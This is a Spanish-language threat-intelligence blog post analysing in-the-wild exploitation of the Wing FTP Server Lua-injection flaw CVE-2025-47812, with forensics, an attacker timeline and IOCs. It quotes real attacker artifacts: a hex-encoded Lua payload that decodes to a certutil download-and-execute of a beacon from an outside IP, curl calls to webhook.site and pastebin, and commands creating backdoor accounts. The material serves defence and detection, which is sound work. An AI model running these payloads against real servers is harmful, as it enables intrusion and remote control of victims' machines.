Resumen
TL;DR: Huntress detectó explotación activa de la ejecución remota de código de Wing FTP Server (CVE-2025-47812) en un cliente el 1 de julio de 2025. Las organizaciones que usan Wing FTP Server deben actualizar a la versión corregida, la versión 7.4.4, lo antes posible.
CVE-2025-47812 es una falla de inyección de Lua y byte nulo que puede provocar ejecución remota de código a nivel root/SYSTEM si se explota. La vulnerabilidad se reveló públicamente por primera vez el 30 de junio por Julien Ahrens en versiones anteriores a la 7.4.4 de Wing FTP Server, su software de protocolo de transferencia de archivos para Windows, Linux y macOS.
A grandes rasgos, CVE-2025-47812 se origina en cómo se manejan los bytes nulos en el parámetro de nombre de usuario (específicamente relacionado con el archivo loginok.html, que maneja el proceso de autenticación). Esto puede permitir que atacantes remotos realicen inyección de Lua después de usar el byte nulo en el parámetro de nombre de usuario.
Huntress observó por primera vez la explotación en un cliente el 1 de julio de 2025, apenas un día después de que se publicara el informe inicial. La actividad de explotación bajo el proceso de Wing FTP Server WFTPServer.exe comenzó a aumentar a las 16:15 UTC y se detalla más a fondo en nuestro análisis técnico a continuación.
Figura 1: Árbol de procesos del incidente que muestra la participación de WFTPServer.exe
Análisis técnico
CVE-2025-47812 se centra principalmente en la capacidad de un adversario de crear una entrada específica en Lua, el lenguaje de programación responsable de manejar las sesiones creadas en Wing FTP. Las sesiones normalmente almacenan el directorio actual del usuario, la dirección IP y el nombre de usuario. Al aprovechar la inyección de byte nulo, el adversario altera la entrada esperada en el archivo Lua que almacena estas características de la sesión. Puedes encontrar más detalles de la vulnerabilidad en el informe de RCE Security.
Los investigadores de seguridad de Huntress recrearon un exploit de prueba de concepto para esta vulnerabilidad, y a continuación se muestra una demostración en video:
La cadena de ataque depende de algunos componentes específicos:
- Se realiza un intento de inicio de sesión contra el endpoint loginok.html mediante una solicitud POST.
- Para crear una sesión de comunicación que se almacena, el atacante debe usar una cuenta que tenga credenciales conocidas o, si está habilitada, una cuenta anónima sin contraseña para poder realizar un proceso de autenticación adecuado.
- Al campo de nombre de usuario se le agrega un byte nulo %00 para interrumpir el procesamiento de la cadena del nombre de usuario en el inicio de sesión, pero inyectar caracteres posteriores que se interpreten como código Lua.
- Esto incluye dos corchetes de cierre “]]” para cerrar la sintaxis y mantenerla intacta para el archivo del objeto de sesión, y saltos de línea para inyectar nuevo código Lua malicioso.
- El payload del nombre de usuario termina con dos guiones para comentar el “]]” original que quedaría del archivo del objeto de sesión previsto.
- El código Lua ya inyectado en los archivos del objeto de sesión debe activarse cuando la aplicación deserializa naturalmente esos datos, lo cual ocurre con otra solicitud a cualquier otra página del sitio web, como dir.html
Los registros de esta actividad se pueden encontrar dentro de la carpeta de instalación de Wing FTP:
C:\Program Files (x86)\Wing FTP Server\Log\
Wing FTP organiza sus registros en tres carpetas:
- Admin
- System
- Domain
Se puede encontrar evidencia de la explotación en los registros dentro de la carpeta “Domain”, pero ten en cuenta que Wing FTP separa los registros según los distintos nombres de dominio que maneja este servidor, por lo que el nombre del subdirectorio debajo de esta ruta varía. Los registros se guardan con un formato de fecha YYYY-M-D.log.
Por ejemplo, una entrada de registro de esta prueba de concepto de explotación estaría en la ruta:
C:\Program Files (x86)\Wing FTP Server\Log\Domains\wingftp.local\2025-7-7.log
Con el siguiente contenido:
[01] Mon, 07 Jul 2025 12:51:23 Domain has been started.
[01] Mon, 07 Jul 2025 12:51:24 FTP server starts listening on port 21.
[01] Mon, 07 Jul 2025 12:51:24 FTPS server starts listening on port 990.
[01] Mon, 07 Jul 2025 12:51:24 HTTP server starts listening on port 80.
[01] Mon, 07 Jul 2025 12:51:24 HTTPS server starts listening on port 443.
[06] Mon, 07 Jul 2025 12:56:26 (0000001) User 'anonymous
Usando solamente este archivo de registro, la única línea que indica explotación es la entrada truncada:
User ‘anonymous
Observa que falta la comilla simple de cierre ‘: esto se debe al byte nulo que interrumpe la entrada en el archivo de registro. En este caso, se atacó al usuario anonymous porque no necesitaba credenciales para iniciar sesión, pero se podría usar cualquier otro nombre de usuario válido con la contraseña correcta para crear una sesión de comunicación y aprovechar esta vulnerabilidad.
Para un inicio de sesión normal, que no sea un artefacto de explotación, esa entrada de registro se ve naturalmente así:
User 'anonymous' logged in ok! (IP:::1)
…incluyendo la dirección IP del cliente que se autentica. Lamentablemente, ese detalle se trunca cuando el registro se genera a partir de un intento de explotación; sin embargo, ¡la dirección IP se incluirá en los propios archivos del objeto de sesión!
También podrías encontrar una entrada de registro que indique:
List ok
Esto proviene de un usuario que lista archivos en el servicio FTP, como cuando visita dir.html. Si bien esto se puede utilizar en la cadena de ataque y el exploit, ten en cuenta que el atacante podría elegir cualquier otro endpoint o funcionalidad para activar que Wing FTP cargue la información de sesión almacenada.
La mejor fuente para identificar la explotación es revisar los archivos de objetos de sesión, nombrados con nombres de archivo de 64 caracteres hexadecimales y extensiones de archivo .lua en este directorio:
C:\Program Files (x86)\Wing FTP Server\session
Artefactos forenses
Dado que toda interacción con una máquina eventualmente deja algún tipo de artefacto, comenzamos a analizar las sesiones almacenadas en ese momento en el equipo comprometido. Varias sesiones nos parecieron anómalas, principalmente por su tamaño de archivo. Los datos almacenados en estas sesiones suelen ser relativamente pequeños, así que un tamaño de archivo inflado indica que se incluyó información adicional.
Un archivo de sesión típico podría verse así:
_SESSION['username']=[[johndoe]]
_SESSION['ipaddress']=[[123.123.123.123]]
_SESSION['currentpath']=[[/]]
En contraste, nuestro atacante pasó una función Lua válida que contenía un comando codificado en hexadecimal, el cual se decodifica y se pasa al cmd.exe de Windows:
_SESSION['username']=[[anonymous]]
local function hx(s)
return (s:gsub('..', function(x)
return string.char(tonumber(x,16))
end))
end
local cmd = hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865")
local h = io.popen(cmd)
local r = h:read("*a")
h:close()
--]]
_SESSION['ipaddress']=[[185[.]196[.]9[.]225]]
_SESSION['currentpath']=[[/]]
Si decodificamos el bloque hexadecimal en la función hx() anterior usando Python, obtenemos el siguiente comando, que se intentó ejecutar en el equipo:
% python3 -c 'print(bytes.fromhex("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865").decode("ascii"))'
certutil -urlcache -f http://185.196.9.225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
Lo más importante aquí es que, si bien algunos campos se mantuvieron similares a los que vimos en un archivo de sesión normal, la mayor parte del código de la función destaca como algo que requiere mayor investigación.
Detalles del ataque
Tácticas observadas del atacante
Muy temprano en la mañana, alrededor de las 8:43 a. m. UTC, el primero de varios atacantes distintos comenzó a explorar si podía conectarse a la máquina de la víctima. Hizo varios intentos de conexión en un lapso de 12 minutos. Casi una hora después, comenzaron conexiones desde una segunda dirección IP, con varios intentos de conexión.
Figura 2: Cronología de la primera serie de los ataques
En este punto, hubo un poco de silencio en la máquina durante un lapso de unas seis horas antes de que comenzara el siguiente ataque. Al examinar una combinación de ejecuciones de procesos, archivos Lua y datos de registro, pudimos reconstruir una cronología de las actividades de los atacantes. Parece que el atacante (el cuarto que habíamos visto ese día) tuvo dificultades para ejecutar algunos comandos, tal vez por no estar familiarizado con ellos, o porque Microsoft Defender detuvo parte de su ataque.
Observamos varios comandos de enumeración y reconocimiento alrededor de las 16:15 UTC:
- C:\WINDOWS\system32\cmd.exe /c ipconfig
- C:\WINDOWS\system32\cmd.exe /c curl
- C:\WINDOWS\system32\cmd.exe /c arp -a
- C:\WINDOWS\system32\cmd.exe /c curl -help
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c nslookup
- C:\WINDOWS\system32\cmd.exe /c whoami -all
También observamos al atacante creando nuevos usuarios para persistencia:
- C:\WINDOWS\system32\cmd.exe /c net user wingftp 123123qweqwe /add
- C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweqwe /add
- C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweq /add
Luego, pareció verificar detalles de los usuarios, tal vez para confirmar que sus usuarios recién creados estuvieran ahí, e información de privilegios (además de un comando aleatorio arp -a):
- C:\WINDOWS\system32\cmd.exe /c net user
- C:\WINDOWS\system32\cmd.exe /c net user /all
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c net user wing
- C:\WINDOWS\system32\cmd.exe /c arp -a
- C:\WINDOWS\system32\cmd.exe /c priv //all
- C:\WINDOWS\system32\cmd.exe /c priv /all
- C:\WINDOWS\system32\cmd.exe /c whoami priv /all
- C:\WINDOWS\system32\cmd.exe /c whoami /priv
Los comandos que siguieron estaban mal construidos y fallaron. Como se ve en la siguiente figura, el atacante intentó ejecutar un ejecutable cuya ruta era (por error) c:^A.exe, donde ^A representa el carácter “Start of Heading” (SOH). No está claro cómo ni por qué logró siquiera escribir eso. También había tabulaciones en las rutas del archivo de prueba a donde había redirigido su salida por alguna razón, lo que resultó en una falla:
Figura 3: Imagen de lo mal escritos que estaban algunos de estos comandos
Figura 4: Confirmación de este error tipográfico con un editor hexadecimal; el carácter SOH está resaltado
El atacante luego continuó con el “reconocimiento”, o más probablemente intentó probar su acceso:
C:\WINDOWS\system32\cmd.exe /c powershell -c get-childitem c: | out-file c:dir.txt -encoding ascii; type c:dir.txt
El atacante probó el uso de curl, buscó cómo usarlo y de hecho intentó conectarse a un sitio webhook para rastrear infecciones (lo cual verificamos que efectivamente tuvo éxito):
- C:\WINDOWS\system32\cmd.exe /c curl
- C:\WINDOWS\system32\cmd.exe /c curl -help
- C:\WINDOWS\system32\cmd.exe /c curl -s -d con https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 > nul
Aunque el endpoint de webhook ya expiró y está fuera de línea, pudimos ver la conexión hecha desde el endpoint objetivo, incluida la palabra clave “con” usada como datos de formulario POST.
Figura 5: Vista del webhook que muestra que la máquina de la víctima se había conectado con éxito
Después de un par de comandos más de whoami , el atacante intentó ejecutar un archivo por lotes, el cual falló porque todavía no estaba en el sistema. Esto hizo que volviera a verificar qué usuario era:
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c whoami /all
- C:\WINDOWS\system32\cmd.exe /c cmd.exe/c c:/1.bat
- C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
- C:\WINDOWS\system32\cmd.exe /c whoami
Apareció un archivo Lua en el sistema, el cual habría descargado efectivamente el archivo por lotes faltante antes mencionado, excepto que el atacante arruinó el comando curl. Además, el comando dir incluido al final no es un binario, sino un comando interno integrado en cmd.exe, así que tampoco habría funcionado aquí (un error común cometido por atacantes novatos):
--]]t(r)) h:read(""*a"")rl -o c:\1.bat
https://pastebin.com/raw/vqqtr8mg& dir c:\"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
Luego intentó ejecutar su archivo por lotes una vez más. Esto debió haber sido frustrante para él cuando no funcionó:
C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
Figura 6: El atacante (probablemente) tratando de averiguar por qué está fallando
En este punto, optó por instalar ScreenConnect, para tener una mejor experiencia que podría haberlo hecho más exitoso. Apareció en ese momento un archivo Lua en el sistema para descargar el instalador:
local h = io.popen(""curl -o c:\1.msi https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e]]
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
Recuperamos el archivo MSI del enlace de descarga y extrajimos de él la cadena de conexión: instance-y9tbyl-relay.screenconnect[.]com. No había evidencia de que intentara ejecutar el archivo MSI ni de que ScreenConnect se haya instalado. En este punto, puede que haya “llamado a un amigo”, ya que otro atacante se conectó a la máquina, como lo evidencian archivos Lua con una dirección IP diferente. (Este fue el quinto atacante visto en esta máquina).
El (cuarto) atacante luego ejecutó PowerShell, pero lamentablemente, lo que sea que haya intentado ejecutar en PowerShell falló, como se encontró en el registro de eventos de aplicación (ID 1001):
C:\WINDOWS\system32\cmd.exe /c powershell.exe
Entonces intentó ejecutar otro beacon, como se ve en el siguiente archivo Lua:
local cmd = hx(""636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e657865202620737461--]]ose() h:read(""*a""))55c6d76766569574a48782e657865"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
Como mencionamos antes en este blog, este comando esencialmente descarga y ejecuta el beacon usando certutil:
certutil -urlcache -f http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
Lamentablemente para el atacante, Microsoft Defender eliminó el archivo resultante antes de que pudiera ejecutarlo, y se envió una alerta con el siguiente nombre: Trojan:Win32/Ceprolad.A. En este punto, WFTPServer.exe falló y desconectó a los atacantes, lo cual se evidenció por el inicio del proceso WerFault.exe, contra el PID del proceso WFTPServer.exe, así como por entradas al mismo tiempo en el registro de eventos de aplicación con los ID 1000 y 1001, para WFTPServer.exe.
C:\WINDOWS\system32\WerFault.exe -u -p 3792 -s 4744
Así concluyó el penoso recorrido de estos atacantes, ya que la máquina también fue aislada poco después.
Figura 7: Huntress Managed EDR y Microsoft Defender, después de frustrar a algunos aspirantes a atacantes
A pesar de la actividad infructuosa de los actores de amenazas, este incidente muestra que CVE-2025-47812 está siendo explotada activamente en este momento. Aunque solo hemos visto actividad de explotación en un cliente hasta el 8 de julio de 2025, las organizaciones pueden protegerse mejor actualizando a la versión 7.4.4.
Agradecimiento especial a los analistas, investigadores y todos los involucrados en la respuesta a este incidente y sus contribuciones a este blog: Tanner Filip, Matt Anderson, Craig Sweeney, y Alden Schmidt.
Reglas de Sigma
Command Shell from Wing FTP Server
IOC
|
Elemento |
Descripción |
|
223.160.131[.]104 |
1.ª IP del atacante |
|
149.248.44[.]88 |
2.ª IP del atacante |
|
103.88.141[.]42 |
3.ª IP del atacante |
|
185.196.9[.]225 |
4.ª IP del atacante (torpe) |
|
146.70.11[.]39 |
5.ª IP del atacante |
|
https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 |
Sitio de webhook |
|
123123qweqwe |
Contraseña usada para cuentas del atacante |
|
123123qweqweq |
Contraseña usada para una cuenta del atacante |
|
wing |
Nombre de usuario de puerta trasera creado por el atacante |
|
wingftp |
Nombre de usuario de puerta trasera creado por el atacante |
|
URL: http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\\mvveiWJHx.exe SHA256: c637ec00bd22da4539ec6def89cd9f7196a303d17632b1131a89d65e4f5698f4 |
Beacon |
|
Trojan:Win32/Ceprolad.A |
Detección de Microsoft Defender |
|
URL: https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi PATH: c:\1.msi |
Instalador de ScreenConnect |
|
instance-y9tbyl-relay.screenconnect[.]com |
URL de retorno de llamada de ScreenConnect |